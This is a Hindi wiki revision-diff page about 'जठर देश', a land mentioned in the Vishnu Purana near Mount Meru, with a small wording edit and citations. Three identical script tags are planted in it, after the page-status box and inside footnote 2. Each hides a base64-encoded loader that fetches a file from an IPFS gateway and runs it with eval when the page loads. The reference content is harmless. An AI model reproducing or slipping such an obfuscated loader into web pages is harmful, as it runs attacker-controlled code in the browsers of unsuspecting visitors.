"जठर देश" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
छो (Text replacement - "अर्थात " to "अर्थात् ")
 
(एक अन्य सदस्य द्वारा किया गया बीच का एक अवतरण नहीं दर्शाया गया)
पंक्ति 1: पंक्ति 1:
 +
{{बहुविकल्प|बहुविकल्पी शब्द=जठर|लेख का नाम=जठर (बहुविकल्पी)}}
 +
 
'''जठर देश''' का उल्लेख [[विष्णु पुराण]]<ref>[[विष्णु पुराण]] 2, 2, 29</ref> में हुआ है-
 
'''जठर देश''' का उल्लेख [[विष्णु पुराण]]<ref>[[विष्णु पुराण]] 2, 2, 29</ref> में हुआ है-
  
 
<blockquote>'मेरोरनन्तरांगेषु जठरादिष्ववस्थिता: शंखकूटाऽथ ऋषभो हंसो नागस्तथापर: कालंजाद्याश्च तथा उत्तरकेसराचला:'</blockquote>
 
<blockquote>'मेरोरनन्तरांगेषु जठरादिष्ववस्थिता: शंखकूटाऽथ ऋषभो हंसो नागस्तथापर: कालंजाद्याश्च तथा उत्तरकेसराचला:'</blockquote>
  
अर्थात "मेरु के अति समीप और जठर आदि देशों में स्थित [[शंखकूट]], ऋषभ, [[हंस पर्वत|हंस]], नाग और कलंज आदि [[पर्वत]] उत्तर दिशा के केसराचल हैं।<ref>{{पुस्तक संदर्भ |पुस्तक का नाम=ऐतिहासिक स्थानावली|लेखक=विजयेन्द्र कुमार माथुर|अनुवादक= |आलोचक= |प्रकाशक=राजस्थान हिन्दी ग्रंथ अकादमी, जयपुर|संकलन= |संपादन= |पृष्ठ संख्या=354|url=}}</ref>
+
अर्थात् "मेरु के अति समीप और जठर आदि देशों में स्थित [[शंखकूट]], ऋषभ, [[हंस पर्वत|हंस]], नाग और कलंज आदि [[पर्वत]] उत्तर दिशा के केसराचल हैं।<ref>{{पुस्तक संदर्भ |पुस्तक का नाम=ऐतिहासिक स्थानावली|लेखक=विजयेन्द्र कुमार माथुर|अनुवादक= |आलोचक= |प्रकाशक=राजस्थान हिन्दी ग्रंथ अकादमी, जयपुर|संकलन= |संपादन= |पृष्ठ संख्या=354|url=}}</ref>
  
 
*यदि [[मेरु पर्वत|मेरु]] या सुमेरु को उत्तरी ध्रुव का प्रदेश माना जाए तो जठर को वर्तमान साइबेरिया में स्थित मानना चाहिए। किंतु [[विष्णु पुराण]] का यह वर्णन बहुत अंशों में काल्पनिक जान पड़ता है।
 
*यदि [[मेरु पर्वत|मेरु]] या सुमेरु को उत्तरी ध्रुव का प्रदेश माना जाए तो जठर को वर्तमान साइबेरिया में स्थित मानना चाहिए। किंतु [[विष्णु पुराण]] का यह वर्णन बहुत अंशों में काल्पनिक जान पड़ता है।

07:57, 7 नवम्बर 2017 के समय का अवतरण

Disamb2.jpg जठर एक बहुविकल्पी शब्द है अन्य अर्थों के लिए देखें:- जठर (बहुविकल्पी)

जठर देश का उल्लेख विष्णु पुराण[1] में हुआ है-

'मेरोरनन्तरांगेषु जठरादिष्ववस्थिता: शंखकूटाऽथ ऋषभो हंसो नागस्तथापर: कालंजाद्याश्च तथा उत्तरकेसराचला:'

अर्थात् "मेरु के अति समीप और जठर आदि देशों में स्थित शंखकूट, ऋषभ, हंस, नाग और कलंज आदि पर्वत उत्तर दिशा के केसराचल हैं।[2]

  • यदि मेरु या सुमेरु को उत्तरी ध्रुव का प्रदेश माना जाए तो जठर को वर्तमान साइबेरिया में स्थित मानना चाहिए। किंतु विष्णु पुराण का यह वर्णन बहुत अंशों में काल्पनिक जान पड़ता है।
  • जठर नामक पर्वत का भी उल्लेख विष्णु पुराण[3] में है-

'जठरो देवकूटश्च मर्यादा पर्वतावुभौ तौ दक्षिणोत्तरायामावानील निषधायतौ।'


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

  1. विष्णु पुराण 2, 2, 29
  2. ऐतिहासिक स्थानावली |लेखक: विजयेन्द्र कुमार माथुर |प्रकाशक: राजस्थान हिन्दी ग्रंथ अकादमी, जयपुर |पृष्ठ संख्या: 354 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  3. विष्णु पुराण 2, 2, 20

संबंधित लेख